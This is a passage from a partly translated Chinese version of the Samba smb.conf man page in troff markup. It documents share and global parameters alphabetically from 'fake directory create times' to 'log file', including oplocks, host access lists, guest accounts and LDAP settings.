NTFS和Windows VFAT文件系统为每一个文件和目录保留一个创建时间. 这个时间和UNIX下的状态改变时间--ctime不同. 所以, 在缺省状态下, Samba将报告UNIX系统所保持的各种时间属性中的最早的那个作为(文件/目录)建立时间. 如果在一个共享中设置了这个选项, 将会使得Samba伪造一个目录生成时间, 这个时间就是1980.01.01的午夜.
这个选项的主要用于解决Visual C++与Samba的兼容性问题.Visual C++生成makefiles文件时, 包含目标文件所依赖的目的目录. 包含建立目录的规则. 同样的, 当NMAKE比较时间属性时, 它检查目录建立时间. 目标目录不存在的话, 会建立一个;如果存在,它的建立时间总是比它所包含的目标文件的建立时间早.
UNIX的时间规则意味着只要有文件在共享目录中建立或删除,Samba将更新关于该目录建立时间的报告. NMAKE将发现目录中除了最后建立的文件以外的所有目标文件都过期了(与目录的建立时间相比较), 然后重新编译目标文件.设置这个选项值将保证目录的建立时间早于它里面的文件,NMAKE就能够正常工作.
缺省设置: \fBfake directory create times = no\fR
.TP
fake oplocks (S)
oplocks是这样一个选项, 它允许SMB客户端在本地缓存对服务器的文件操作. 如果服务器允许oplock(opportunistic lock)操作, 客户端可以简单的认为, 它自己是唯一的文件访问者, 可以随意的缓存文件. 有些oplocks类型甚至允许缓存文件的打开和关闭操作. 这个操作换来性能上的巨大提升.
当你设置\fBfake oplocks = yes\fR后,\fBsmbd\fR(8)总是允许oplock请求, 而不管到底有多少的客户端在使用这个文件.
在通常情况下, 使用真实的\fIoplocks\fR支持总是比使用这个选项好.
如果你使用这个选项在一些只读的共享上(例如: CDROM共享),或者你知道这个共享只能够被一个客户端所访问(例如: 客户主目录). 你将会注意到性能上的重大提升. 如果你将这个选项用在多个客户端都可以读写的共享上, 由于客户可能同时访问一个共享文件, 这样会造成文件损坏. 请一定小心使用.
缺省设置: \fBfake oplocks = no\fR
.TP
follow symlinks (S)
这个选项允许Samba管理员禁止某个特殊共享下\fBsmbd\fR(8)对符号链接的访问. 将这个选项设置为\fBno\fR将会阻止这个共享下的任何链接形式的文件或目录被查看(用户将会得到一个错误信息).例如: 这个选项将阻止客户将\fI/etc/passwd\fR文件链接到自己的主目录. (我们看到, 这是很有用的). 但是, 它将会使文件名字的查找速度慢一些.
这个选项缺省是允许(也就是, \fBsmbd\fR将允许访问符号链接)
缺省设置: \fBfollow symlinks = yes\fR
.TP
force create mode (S)
这个选项设置一组UNIX格式的权限代码, 当Samba建立新文档的时候, \fB总是\fR会使用这个权限设置新文档, 通过将新文档的权限位和这组权限代码做逐位与, 就完成了设置工作.缺省状态下, 这个选项设置为八进制000,在\fIcreate mask\fR加到新建立的文件的权限位上后, 与这个值进行按位与操作, 就得到文件建立时的权限设置.
参见 \fIcreate mask\fR 来获得关于建立文件时的掩码的详细资料。
另外也参见 \fIinherit permissions\fR 参数.
缺省设置: \fBforce create mode = 000\fR
示例: \fBforce create mode = 0755\fR
这个例子中, 将迫使所有被建立的文档对"同组/其它(用户)"有读和执行权. 对用户自己有读/写/执行权力.
.TP
force directory mode (S)
这个选项设置一组UNIX格式的权限代码, 当Samba建立新目录的时候, \fB总是\fR会使用这个权限设置新目录, 通过将新目录的权限位和这组权限代码做逐位与, 就完成了设置工作.缺省状态下, 这个选项设置为八进制000,在\fIdirectory mask\fR加到新建立的目录的权限位上后,与这个值进行按位与操作, 就得到目录建立时的权限设置.
参见\fI directory mask\fR 来获得关于建立目录时的掩码的详细资料。
另外也参见\fI inherit permissions\fR参数.
缺省设置: \fBforce directory mode = 000\fR
示例: \fBforce directory mode = 0755\fR
这个例子中, 将迫使所有被建立的目录对"同组/其它(用户)"有读和进入权. 对用户自己有读/写/进入权力.
.TP
force directory security mode (S)
此选项控制NT用户通过本地NT安全对话框可以操作哪些目录上的unix权限位.
此选项以掩码('or')来实现权限位的改变,所以它强制了任何掩码中用户可以更改的位.实际上,当在修改目录的安全性时,这个掩码中的一个0位可以作为一组用户已经设为'on'的位来看待.
如果没有明确设定的话,这个选项会用与force directory mode选项同样的值.要允许用户在目录中可以修改所有的user/group/world权限,可以把这个选项设为0000.
\fB注意\fR,能访问samba服务器的用户通过其它方法也可以很容易地绕过这个限制,所以这个参数只对独立工作的应用系统来说有用.很多系统管理的管理员都会把它设为默认的0000.
参见\fI directory security mask\fR, \fIsecurity mask\fR, \fIforce security mode \fR 参数。
缺省设置: \fBforce directory security mode = 0\fR
示例: \fBforce directory security mode = 700\fR
.TP
force group (S)
这个选项指定一个UNIX组, 所有连接到服务上的用户都被强迫使用这个组作为"主组". 所有访问文件的用户都使用这个组的访问权限做权限检查. 因此, 通过分配文件和目录的访问权限给这个用户组, Samba的管理员可以限制或允许对共享文件的访问.
在samba 2.0.5及更新的版本中这个选项已经按下面的方法有了一些扩展功能.如果在此列出的组名有一个'+'字符加在名称前的话,当前用户正在访问的共享资源只有初始组被缺省分配到这个组中,而可能的情况是用户已经是其它组成员了.这样,管理员可以决定只有在特殊组里的用户才能以设定的组身份建立文件,更有益于所有权分配管理.例如,设定\fIforce group = +sys\fR的话,只有在sys组里的用户才能在访问samba共享资源时拥有缺省的初始组标识.而其它所有用户保留他们原始的组标识.
如果又设定了 \fIforce user\fR选项的话,\fIforce group\fR选项中指定的组将会越过在 \fIforce user\fR中指定的初始组.
If the \fIforce user\fR parameter is also set the group specified in \fIforce group\fR will override the primary group set in \fIforce user\fR\&.
参见 \fIforce user\fR选项.
缺省设置: \fBno forced group\fR
示例: \fBforce group = agroup\fR
.TP
force security mode (S)
此选项控制NT用户通过本地NT安全对话框可以操作哪些目录上的unix权限位.
此选项以掩码('or')来实现权限位的改变,所以它强制了任何掩码中用户可以更改的位.实际上,当在修改目录的安全性时,这个掩码中的一个0位可以作为一组用户已经设为'on'的位来看待.
如果没有明确设定的话,这个选项会用与force create mode选项同样的值.要允许用户在文件上可以修改所有的user/group/world权限,可以把这个选项设为000.
\fB注意\fR,能访问samba服务器的用户通过其它方法可以很容易地绕过这个限制,所以这个选项对独立工作的系统来说才有用的.很多系统管理的管理员都会把它设为默认的0000.
参见\fI force directory security mode\fR, \fIdirectory security mask\fR, \fI security mask\fR 参数。
缺省设置: \fBforce security mode = 0\fR
示例: \fBforce security mode = 700\fR
.TP
force user (S)
这个选项指定一个UNIX用户的名字, 所有连接到服务上的用户的缺省名字就使用这个名字. (由于权限的原因)在共享文件时这个选项是有用的.你必须小心使用这个选项, 它有可能带来安全上的问题.
这个选项只有当一个连接建立起来后才有用. 在建立连接的使用, 用户还是必须有合法的用户名和口令. 一旦连接建立起来, 所有的操作将强迫以这个名字进行, 而不管它是以什么名字登录的.
samba 2.0.5和更新的版本中这个选项会导致用户的初始组被作为所有文件操作的初始组.2.0.5以前的初始组被允许作为联接用户的初始组(这是个bug)
参见 \fIforce group\fR 选项。
缺省设置: \fBno forced user\fR
示例: \fBforce user = auser\fR
.TP
fstype (S)
这个选项允许管理员设置一个字符串说明共享的文件系统的类型, 当客户端有查询时, \fBsmbd\fR(8)将这个字符串作为正在使用的文件系统的类型报告给客户端. 为了和\fIWindows NT\fR兼容缺省值设置是\fBNTFS\fR, 当然,如果必要的话,也可以改变为其它的字符串,例如\fBSamba\fR或\fBFAT\fR.
缺省设置: \fBfstype = NTFS\fR
示例: \fBfstype = Samba\fR
.TP
get quota command (G)
The \fBget quota command\fR should only be used whenever there is no operating system API available from the OS that samba can use\&.
This parameter should specify the path to a script that queries the quota information for the specified user/group for the partition that the specified directory is on\&.
Such a script should take 3 arguments:
directory
type of query
uid of user or gid of group
The type of query can be one of :
1 - user quotas
2 - user default quotas (uid = -1)
3 - group quotas
4 - group default quotas (gid = -1)
This script should print its output according to the following format:
Line 1 - quota flags (0 = no quotas, 1 = quotas enabled, 2 = quotas enabled and enforced)
Line 2 - number of currently used blocks
Line 3 - the softlimit number of blocks
Line 4 - the hardlimit number of blocks
Line 5 - currently used number of inodes
Line 6 - the softlimit number of inodes
Line 7 - the hardlimit number of inodes
Line 8(optional) - the number of bytes in a block(default is 1024)
参见 \fIset quota command\fR 选项。
缺省设置: \fBget quota command = \fR
示例: \fBget quota command = /usr/local/sbin/query_quota\fR
.TP
getwd cache (G)
这是一个性能调节选项. 当这个选项允许时, 一个高速缓冲算法将被用来减少调用"getwd()"的时间. 这个选项对性能会产生很大的影响, 特别是在\fIwide links\fR选项设为\fBno\fR的时候.
缺省设置: \fBgetwd cache = yes\fR
.TP
group (S)
与 \fIforce group\fR 同义。
.TP
guest account (G,S)
这是一个用来访问服务的用户名(作为客户来访账户,区别于系统上的用户), 当然, 被访问的服务必须先设置了选项fI guest ok\fR. 这个账户所拥有的所有权利都会反映到以"访问客户(guest)"身份连接进来的客户身上. 典型的, 这个客户必须在passwd文件中存在, 但是没有有效的登录权限.通常系统中存在着名为"ftp"的账户,把这个账户名使用在这里是个好主意.注意:如果一个服务指定了一个专用的访问用户名,这个专用名将代替这里的用户名.
在某些系统上,缺省的访问用户名"nobody"账户可能不能打印.如果遇到这种情况,请使用其它的账户名(例如ftp)。想要测试这种情况,可以试着用来访账户登录(可以用\fBsu -\fR命令),然后,使用系统打印命令\fBlpr\fR(1)或\fBlp\fR(1).
这个参数不接受%宏,因为Samba系统的很多组件要正确工作都需要这个值是一个常量。
缺省设置: \fB编译时指定,通常是"nobody"\fR
示例: \fBguest account = ftp\fR
.TP
guest ok (S)
如果一个服务的这个选项的值设为\fByes\fR, 那末, 连接到这个服务不需要口令, 权限设置为\fI guest account\fR的权限.
这个选项抵消了设置 \fIrestrict anonymous\fR = 2 的好处。
参见下面的\fI security\fR来获得更多信息。
缺省设置: \fBguest ok = no\fR
.TP
guest only (S)
如果一个服务的这个选项设置为 \fByes\fR, 那末, 只有客户(guest)访问被允许, 也就是说, 不允许以其他用户的身份访问.如果没有设置\fIguest ok\fR选项, 则此选项无效.
参见下面的\fI security\fR 参数来获得更多信息。
缺省设置: \fBguest only = no\fR
.TP
hide dot files (S)
这是一个布尔值选项. 控制文件名最前面一个字符为"."的文件是否表现为隐含文件(UNIX文件系统中, 最前面为"."的文件是隐含文件).
缺省设置: \fBhide dot files = yes\fR
.TP
hide files (S)
这是一个隐藏文件或目录的列表.这些文件不能被看见但是能被访问.列表中的文件或目录将被赋予DOS下的"隐藏"属性.
每个条目必须以"/"分隔以便允许在条目中使用空格.可以使用DOS风格的通配符"*"和"?"匹配多个目录和文件。
每一个条目必须使用UNIX格式的路径,而不是DOS格式的路径,同时,不能包含UNIX路径分隔符"/".
注意:大小写敏感的特性也适用于隐含文件.
设置这个选项会影响Samba的性能,它会迫使系统检查所有的文件和目录以确定是否与它的所要寻找的项目匹配.
参见 \fIhide dot files\fR, \fI veto files\fR 和 \fIcase sensitive\fR.
缺省设置: \fB没有隐藏文件\fR
示例: \fBhide files = /.*/DesktopFolderDB/TrashFor%m/resource.frk/\fR
上面的例子中的文件从Thursby共享出来,给Macintosh的SMB客户端(DAVE),供内部使用,仍然隐藏了"."打头的文件.
.TP
hide local users (G)
This parameter toggles the hiding of local UNIX users (root, wheel, floppy, etc) from remote clients\&.
缺省设置: \fBhide local users = no\fR
.TP
hide special files (S)
This parameter prevents clients from seeing special files such as sockets, devices and fifo's in directory listings\&.
缺省设置: \fBhide special files = no\fR
.TP
hide unreadable (S)
This parameter prevents clients from seeing the existance of files that cannot be read\&. Defaults to off\&.
缺省设置: \fBhide unreadable = no\fR
.TP
hide unwriteable files (S)
This parameter prevents clients from seeing the existance of files that cannot be written to\&. Defaults to off\&. Note that unwriteable directories are shown as usual\&.
缺省设置: \fBhide unwriteable = no\fR
.TP
homedir map (G)
如果\fInis homedir \fR选项的值为\fByes\fR,同时, \fBsmbd\fR(8)也作为win95/98的\fI登录服务器\fR,那么,这个选项指明一个NIS(或者YP)映射.指向用户主目录所在的服务器.目前,只认识Sun的auto.home映射格式.映射格式如下:
\fBusername server:/some/file/system\fR
程序从":"号前取得服务器名字.将来也许会有更好的解释系统来处理不同的映射格式,当然,也包括Amd(另一种自动装载方式)映射.
需要系统中有一个运行的NIS客户来使这个选项工作。
参见 \fInis homedir\fR , \fIdomain logons\fR .
缺省设置: \fBhomedir map = <空字符串>\fR
示例: \fBhomedir map = amd.homedir\fR
.TP
host msdfs (G)
If set to \fByes\fR, Samba will act as a Dfs server, and allow Dfs-aware clients to browse Dfs trees hosted on the server\&.
参见 \fI msdfs root\fR share level 选项。 For more information on setting up a Dfs tree on Samba, refer to ???\&.
缺省设置: \fBhost msdfs = no\fR
.TP
hostname lookups (G)
Specifies whether samba should use (expensive) hostname lookups or use the ip addresses instead\&. An example place where hostname lookups are currently used is when checking the \fBhosts deny\fR and \fBhosts allow\fR\&.
缺省设置: \fBhostname lookups = yes\fR
示例: \fBhostname lookups = no\fR
.TP
hosts allow (S)
与\fIallow hosts\fR 同义.
这个选项是一个由逗号,空格或者tab字符隔开的一组主机名.列入其中的主机才允许访问.
如果该选项出现在[global]段中,它会作用于所有服务而忽略单个服务所作的不同设置.
你可以用ip地址或主机名来指定主机.比如,你可以用类似 \fBallow hosts = 150.203.5. \fR来限定只允许访问在这个c类子网中的主机.\fIhosts_access(5)\fR中详细描述了关于这个选项设置的完整语法.注意到你的系统中也许没有这个参考手册,这里也作一个简单的说明.
注意,本机地址127.0.0.1 总是允许连接,除非在\fIhosts deny\fR 选项中加以禁止.
你也可以使用子网号/子网掩码对来指定主机.如果你的网络支持网络组,你还可以用网络组名来指定组内的主机.\fBEXCEPT\fR(除了...)关键字可以在使用了通配符的情况下起到限定作用.
Example 1: 允许150.203.*.* 中除了一台机器之外的所有IP访问
\fBhosts allow = 150.203. EXCEPT 150.203.6.66\fR
Example 2: 允许满足给定的子网号/子网掩码的IP访问
\fBhosts allow = 150.203.15.0/255.255.255.0\fR
Example 3: 允许一系列主机访问
\fBhosts allow = lapland, arvidsjaur\fR
Example 4: 允许NIS网络组"foonet"访问,但是禁止其中的一台主机
\fBhosts allow = @foonet\fR
\fBhosts deny = pirate\fR
注意,访问时还是需要有适当的用户级口令.
参见\fBtestparm\fR(1) 来检测主机是否可以按照你希望的方式被访问.
缺省设置: \fBnone (也就是说,所有机器都可以访问)\fR
示例: \fBallow hosts = 150.203.5. myhost.mynet.edu.au\fR
.TP
hosts deny (S)
\fIhosts allow\fR选项的反义词.所有被列入这个选项中的主机的服务都\fB不\fR允许被访问,除非这个被访问的服务定义了自己的允许列表.当允许的主机列表和禁止的主机列表发生冲突的时候,\fIallow\fR优先.
缺省设置: \fBnone (没有禁止访问的主机)\fR
示例: \fBhosts deny = 150.203.4. badhost.mynet.edu.au\fR
.TP
hosts equiv (G)
如果这个选项值不是空字符串,就指定了一个文件名.这个文件中列出了可以不用口令就允许访问的主机和用户的名字.
不要把这个选项和\fIhosts allow\fR 搞混了,那是关于控制主机对服务的访问的,用于管理对来访者的服务.而\fI hosts equiv\fR是用于支持那些不对samba提供口令的NT客户的.
注意:使用\fIhosts equiv \fR 可能会成为一个很大的安全漏洞.这是因为你相信发起访问的PC提供了正确的用户名.找一台PC来提供一个假的用户名是很容易的.我建议你只有在完全明白你在干什么的情况下才使用\fIhosts equiv\fR选项,或者在你自己的家里(那里有你可以完全信任的配偶和孩子)使用它.仅仅是在你\fB完全\fR可以信任他们的时候才用 :-)
缺省设置: \fBno host equivalences\fR
示例: \fBhosts equiv = /etc/hosts.equiv\fR
.TP
idmap backend (G)
The purpose of the idmap backend parameter is to allow idmap to NOT use the local idmap tdb file to obtain SID to UID / GID mappings, but instead to obtain them from a common LDAP backend\&. This way all domain members and controllers will have the same UID and GID to SID mappings\&. This avoids the risk of UID / GID inconsistencies across UNIX / Linux systems that are sharing information over protocols other than SMB/CIFS (ie: NFS)\&.
缺省设置: \fBidmap backend = <空字符串>\fR
示例: \fBidmap backend = ldap:ldap://ldapslave.example.com\fR
.TP
idmap gid (G)
The idmap gid parameter specifies the range of group ids that are allocated for the purpose of mapping UNX groups to NT group SIDs\&. This range of group ids should have no existing local or NIS groups within it as strange conflicts can occur otherwise\&.
The availability of an idmap gid range is essential for correct operation of all group mapping\&.
缺省设置: \fBidmap gid = <空字符串>\fR
示例: \fBidmap gid = 10000-20000\fR
.TP
idmap uid (G)
The idmap uid parameter specifies the range of user ids that are allocated for use in mapping UNIX users to NT user SIDs\&. This range of ids should have no existing local or NIS users within it as strange conflicts can occur otherwise\&.
缺省设置: \fBidmap uid = <空字符串>\fR
示例: \fBidmap uid = 10000-20000\fR
.TP
include (G)
这个选项使得你可以把一个配置文件插入到另一个配置文件中去.这只是一种文本替换,就在好像被插入的文件的那个位置直接写入那个插入文件一样.
它支持标准替换,除\fI%u \fR, \fI%P\fR 和 \fI%S\fR以外.
缺省设置: \fB没有包含其他文件\fR
示例: \fBinclude = /usr/local/samba/lib/admin_smb.conf\fR
.TP
inherit acls (S)
This parameter can be used to ensure that if default acls exist on parent directories, they are always honored when creating a subdirectory\&. The default behavior is to use the mode specified when creating the directory\&. Enabling this option sets the mode to 0777, thus guaranteeing that default directory acls are propagated\&.
缺省设置: \fBinherit acls = no\fR
.TP
inherit permissions (S)
The permissions on new files and directories are normally governed by \fI create mask\fR, \fIdirectory mask\fR, \fIforce create mode\fR and \fIforce directory mode\fR but the boolean inherit permissions parameter overrides this\&.
New directories inherit the mode of the parent directory, including bits such as setgid\&.
New files inherit their read/write bits from the parent directory\&. Their execute bits continue to be determined by \fImap archive\fR , \fImap hidden\fR and \fImap system\fR as usual\&.
Note that the setuid bit is \fBnever\fR set via inheritance (the code explicitly prohibits this)\&.
This can be particularly useful on large systems with many users, perhaps several thousand, to allow a single [homes] share to be used flexibly by each user\&.
参见 \fIcreate mask \fR, \fI directory mask\fR, \fIforce create mode\fR and \fIforce directory mode\fR \&.
缺省设置: \fBinherit permissions = no\fR
.TP
interfaces (G)
这个选项允许你超越默认的Samba用来处理浏览,名字注册和其他NBT网络流量的网络借口列表. 默认情况Samba向内核查询所有活动的接口列表并且使用除了127.0.0.1 之外的接口.
这个选项的内容是一个接口字符串的列表, 每个字符串可以是下列任何一种格式:
一个网络接口名(例如eth0).它可以包含象在shell风格的通配符如eth*来匹配任何以子字符品"eth"起始的网络接口.
一个IP地址.这种情况下,网络掩码是从内核中获得的接口列表中检测的.
一个IP/掩码对.
一个广播地址/掩码对.
"mask"选项可以是一个位长度(例如C类网络可以是24)或者是以点分格式出现的完整网络地址掩码.
"IP"选项可以是完整点分十六进制IP地址或是按操作系统通常使用的主机名解析机制查找的主机名.
例如,下面这一行:
\fBinterfaces = eth0 192.168.2.10/24 192.168.3.10/255.255.255.0\fR
将配置三个网络接口,对应eth0设备以及IP地址192.168.2.10 和192.168.3.10。后两个接口的网络掩码将设置为255.255.255.0。
参见\fIbind interfaces only\fR.
缺省设置: \fB除了127.0.0.1 之外的所有活动接口 that are broadcast capable\fR
.TP
invalid users (S)
这是一个不允许在这个服务上登录的用户的名单.这的确是一个非常严格的(\fBparanoid\fR)检查,确保任何可能的不适当的设置都不会破坏你的系统的安全.
以@开头的用户名首先被当作NIS网络组名(如果你的系统支持NIS的话),如果在NIS的网络组数据库中找不到这个组,那么这个名字就被当作一个UNIX用户组名来处理.
以+开头的用户名仅表示UNIX用户组名,以&开头的用户名仅表示NIX网络组名(这个设置要求你的系统中有NIS在运行).'+'和'&'符号可以以任何顺序出现在用户组名前,因此,你可以指定对这个名称的查找次序,比如\fI+&group\fR表示先在UNIX用户组中查找,再在NIS网络组中查找,而\fI&+group\fR则相反,先在NIX网络组中查找,再到UNIX用户组中查找.(这与使用@前缀的效果相同).
当前的服务名可以用\fI%S\fR来表示,这在[homes]段中是很有用的.
参见 \fIvalid users \fR.
缺省设置: \fB没有非法用户\fR
示例: \fBinvalid users = root fred admin @wheel\fR
.TP
keepalive (G)
这个选项是一个整数,它表示用于\fIkeepalive\fR包间隔的秒数.如果这个选项是0,那么就不发送保持连接的包.发送保持连接的包使得主机可以确定客户端是否还在响应。
通常,如果用于连接的socket使用了SO_KEEPALIVE属性设置(参见\fIsocket options\fR),那么发送保持连接的包是不需要的.基本上,除非你遇到了某些困难,这个选项是用不到的.
缺省设置: \fBkeepalive = 300\fR
示例: \fBkeepalive = 600\fR
.TP
kernel change notify (G)
This parameter specifies whether Samba should ask the kernel for change notifications in directories so that SMB clients can refresh whenever the data on the server changes\&.
This parameter is only usd when your kernel supports change notification to user programs, using the F_NOTIFY fcntl\&.
缺省设置: \fBYes\fR
.TP
kernel oplocks (G)
在支持基于内核的 \fIoplocks\fR(opportunistic lock)的UNIX系统上(目前只有IRIX 和Linux2.4内核),这个选项允许打开或关闭对这个特性的利用.
内核机会性锁定操作使得本地UNIX进程或NFS对文件进行操作时可以锁定(冻结)\fBsmbd\fR(8)对同一个文件的\fIoplocks \fR操作.这可以保持SMB/CIFS,NFS和本地文件操作之间的数据一致性.(这是一个很cool的特性哦 :-)
如果你的系统支持这个设置,缺省设置就是\fBon\fR(打开),如果系统不支持,缺省设置就是\fBOff\fR(关闭).你根本不必去管这个选项.
参见 \fIoplocks\fR 和 \fIlevel2 oplocks \fR 参数.
缺省设置: \fBkernel oplocks = yes\fR
.TP
lanman auth (G)
This parameter determines whether or not \fBsmbd\fR(8) will attempt to authenticate users using the LANMAN password hash\&. If disabled, only clients which support NT password hashes (e\&.g\&. Windows NT/2000 clients, smbclient, etc\&.\&.\&. but not Windows 95/98 or the MS DOS network client) will be able to connect to the Samba host\&.
The LANMAN encrypted response is easily broken, due to it's case-insensitive nature, and the choice of algorithm\&. Servers without Windows 95/98 or MS DOS clients are advised to disable this option\&.
Unlike the \fBencypt passwords\fR option, this parameter cannot alter client behaviour, and the LANMAN response will still be sent over the network\&. See the \fBclient lanman auth\fR to disable this for Samba's clients (such as smbclient)
If this option, and \fBntlm auth\fR are both disabled, then only NTLMv2 logins will be permited\&. Not all clients support NTLMv2, and most will require special configuration to us it\&.
Default : \fBlanman auth = yes\fR
.TP
large readwrite (G)
This parameter determines whether or not \fBsmbd\fR(8) supports the new 64k streaming read and write varient SMB requests introduced with Windows 2000\&. Note that due to Windows 2000 client redirector bugs this requires Samba to be running on a 64-bit capable operating system such as IRIX, Solaris or a Linux 2\&.4 kernel\&. Can improve performance by 10% with Windows 2000 clients\&. Defaults to on\&. Not as tested as some other Samba code paths\&.
缺省设置: \fBlarge readwrite = yes\fR
.TP
ldap admin dn (G)
The \fIldap admin dn\fR defines the Distinguished Name (DN) name used by Samba to contact the ldap server when retreiving user account information\&. The \fIldap admin dn\fR is used in conjunction with the admin dn password stored in the \fIprivate/secrets\&.tdb\fR file\&. See the \fBsmbpasswd\fR(8) man page for more information on how to accmplish this\&.
.TP
ldap delete dn (G)
This parameter specifies whether a delete operation in the ldapsam deletes the complete entry or only the attributes specific to Samba\&.
缺省设置: \fBldap delete dn = no\fR
.TP
ldap filter (G)
这个选项指定了RFC2254兼容的LDAP搜索过滤器。默认对所有匹配\fBsambaAccount\fR对象类的条目进行登录名和 \fBuid\fR 属性之间的匹配。注意这个过滤器只应当返回一个条目.
缺省设置: \fBldap filter = (&(uid=%u)(objectclass=sambaAccount))\fR
.TP
ldap group suffix (G)
This parameters specifies the suffix that is used for groups when these are added to the LDAP directory\&. If this parameter is unset, the value of \fIldap suffix\fR will be used instead\&.
缺省设置: \fBnone\fR
示例: \fBdc=samba,ou=Groups\fR
.TP
ldap idmap suffix (G)
This parameters specifies the suffix that is used when storing idmap mappings\&. If this parameter is unset, the value of \fIldap suffix\fR will be used instead\&.
缺省设置: \fBnone\fR
示例: \fBou=Idmap,dc=samba,dc=org\fR
.TP
ldap machine suffix (G)
It specifies where machines should be added to the ldap tree\&.
缺省设置: \fBnone\fR
.TP
ldap passwd sync (G)
This option is used to define whether or not Samba should sync the LDAP password with the NT and LM hashes for normal accounts (NOT for workstation, server or domain trusts) on a password change via SAMBA\&.
The \fIldap passwd sync\fR can be set to one of three values:
\fIYes\fR = Try to update the LDAP, NT and LM passwords and update the pwdLastSet time\&.
\fINo\fR = Update NT and LM passwords and update the pwdLastSet time\&.
\fIOnly\fR = Only update the LDAP password and let the LDAP server do the rest\&.
缺省设置: \fBldap passwd sync = no\fR
.TP
ldap port (G)
这个选项只有在编译时配置了"--with-ldap"选项的情况下才可用.
这个选项控制用于和LDAP服务器通讯的tcp端口号。默认应用标准的LDAP端口636。
参见: ldap ssl
Default : \fBldap port = 636 ; 如果 ldap ssl = on\fR
Default : \fBldap port = 389 ; 如果 ldap ssl = off\fR
.TP
ldap server (G)
这个选项只有在编译时配置了"--with-ldapsam"选项的情况下才可用.
这个选项应当包含ldap目录服务器的FQDN,用来查询和定位用户帐户信息。
Default : \fBldap server = localhost\fR
.TP
ldap ssl (G)
This option is used to define whether or not Samba should use SSL when connecting to the ldap server This is \fBNOT\fR related to Samba's previous SSL support which was enabled by specifying the \fB--with-ssl\fR option to the \fIconfigure\fR script\&.
The \fIldap ssl\fR can be set to one of three values:
\fIOff\fR = Never use SSL when querying the directory\&.
\fIStart_tls\fR = Use the LDAPv3 StartTLS extended operation (RFC2830) for communicating with the directory server\&.
\fIOn\fR = Use SSL on the ldaps port when contacting the \fIldap server\fR\&. Only available when the backwards-compatiblity \fB--with-ldapsam\fR option is specified to configure\&. See \fIpassdb backend\fR
Default : \fBldap ssl = start_tls\fR
.TP
ldap suffix (G)
指定用户和机器帐号从哪里加入树中。可以被\fBldap user suffix\fR和\fBldap machine suffix\fR选项越过。它也用作所有ldap搜索的base dn。
缺省设置: \fBnone\fR
.TP
ldap user suffix (G)
This parameter specifies where users are added to the tree\&. If this parameter is not specified, the value from \fBldap suffix\fR\&.
缺省设置: \fBnone\fR
.TP
level2 oplocks (S)
这个参数控制了是否Samba在一个共享上支持第二级(只读)oplocks。
2级,或者只读oplocks允许Windows NT客户在文件中可以保持一个oplocks,一旦第二个用户请求同一文件时可以从读写oplocks级降为只读oplocks(而不是像传统的做法,保持唯一的oplocks,在第二次打开时释放所有的oplocks).这样就可以允许支持2级oplocks的文件打开者缓存用于只读的文件(也就是说,他们的写和锁定请求不可能被缓冲),并且使只读文件的大量访问提升性能(例如.exe文件).
一旦在拥有只读oplocks的客户中有一位对文件进行了写操作,所有的客户都会被通知(不需要回复及等待), told to break their oplocks to "none",然后删除所有read-ahead caches.
推荐打开这个选项,为共享的可执行程序提高访问速度。
更多关于2级oplocks的讨论请查看CIFS的规约.
当前,如果使用了\fIkernel oplocks\fR的话,就不会认可2级oplocks(即使把那个选项设为\fByes\fR也没用).还要注意,\fIoplocks\fR 选项必须在共享上被设成\fByes\fR才有效果.
参见 \fIoplocks\fR 和 \fIkernel oplocks\fR 选项。
缺省设置: \fBlevel2 oplocks = yes\fR
.TP
lm announce (G)
这个选项决定\fBnmbd\fR(8)是否产生"Lanman宣告广播",OS/2的客户端需要这个广播用以在它们的浏览列表里看到Samba服务器.这个选项有3个值:\fByes\fR、\fBno\fR、\fBauto\fR.缺省值是\fBauto\fR.如果这值为\fBno\fR,Samba将不会产生这种广播.如果设置为\fByes\fR,Samba将以\fIlm interval\fR选项的值为频率产生这种广播.如果设置为\fBauto\fR,Samba并不发出这类广播,但是侦听他们.如果收到这样的广播,它就开始发送这种广播,频率还是以\fIlm interval\fR选项设定的为准.
参见 \fIlm interval\fR.
缺省设置: \fBlm announce = auto\fR
示例: \fBlm announce = yes\fR
.TP
lm interval (G)
如果Samba设置为产生"Lanman宣告广播(给OS/2客户端使用,参见\fIlm announce\fR选项).那么,这里的选项设定了以秒为单位的发生频率.如果这个选项设置为"0",则不管\fIlm announce\fR选项的值,永远不会发出任何"Lanman宣告广播".
参见\fIlm announce\fR.
缺省设置: \fBlm interval = 60\fR
示例: \fBlm interval = 120\fR
.TP
load printers (G)
这个布尔值控制是否在"printcap"文件中的所有打印机将会被缺省的安装到Samba环境,并且可以被浏览.参见"printers"段获得更多细节.
缺省设置: \fBload printers = yes\fR
.TP
local master (G)
这个选项允许\fBnmbd\fR(8)试着去成为本地子网的主控浏览器.如果选项值为\fBno\fR,\fB nmbd\fR不会去争取这个权利.在缺省情况下,这个值为\fByes\fR.设置这个值为\fByes\fR,并不意味着\fBbecome\fR 就一定会成为本地的主浏览器,只是意味着\fBbecome\fR 会参加成为主浏览器的选举.
设置这个值为 \fBno\fR 将使 \fBnmbd\fR \fB永远不会\fR 成为主控浏览器。
缺省设置: \fBlocal master = yes\fR
.TP
lock dir (G)
与 \fI lock directory\fR 同义.
.TP
lock directory (G)
这个选项指出"加锁文件"放置的目录.加锁文件用以实现最大连接数\fImax connections\fR.
缺省设置: \fBlock directory = ${prefix}/var/locks\fR
示例: \fBlock directory = /var/run/samba/locks\fR
.TP
locking (S)
这个选项控制当客户端发出锁定请求时,服务器是否执行"锁定".
如果 \fBlocking = no\fR ,所有的锁定请求和解除锁定请求将表现为成功执行.对锁定的查询将会显示没有锁定.
如果\fBlocking = yes\fR 服务器将执行真正的锁定。
这个选项\fB可能\fR对只读文件系统有用,因为它\fB可能\fR不需要锁定(例如:CDROM).即使在这种情况下,我们也不真正推荐使用\fBno\fR.
要特别小心,不管是全局的关闭这个选项或者在某个服务上关闭这个选项,都有可能由于缺少锁定而导致数据损坏.其实,你根本就不需要设置这个选项.
缺省设置: \fBlocking = yes\fR
.TP
lock spin count (G)
This parameter controls the number of times that smbd should attempt to gain a byte range lock on the behalf of a client request\&. Experiments have shown that Windows 2k servers do not reply with a failure if the lock could not be immediately granted, but try a few more times in case the lock could later be aquired\&. This behavior is used to support PC database formats such as MS Access and FoxPro\&.
缺省设置: \fBlock spin count = 3\fR
.TP
lock spin time (G)
The time in microseconds that smbd should pause before attempting to gain a failed lock\&. See \fIlock spin count\fR for more details\&.
缺省设置: \fBlock spin time = 10\fR
.TP
log file (G)
这个选项允许设置其它的文件名字来替代Samba日志文件(也就是调试文件).
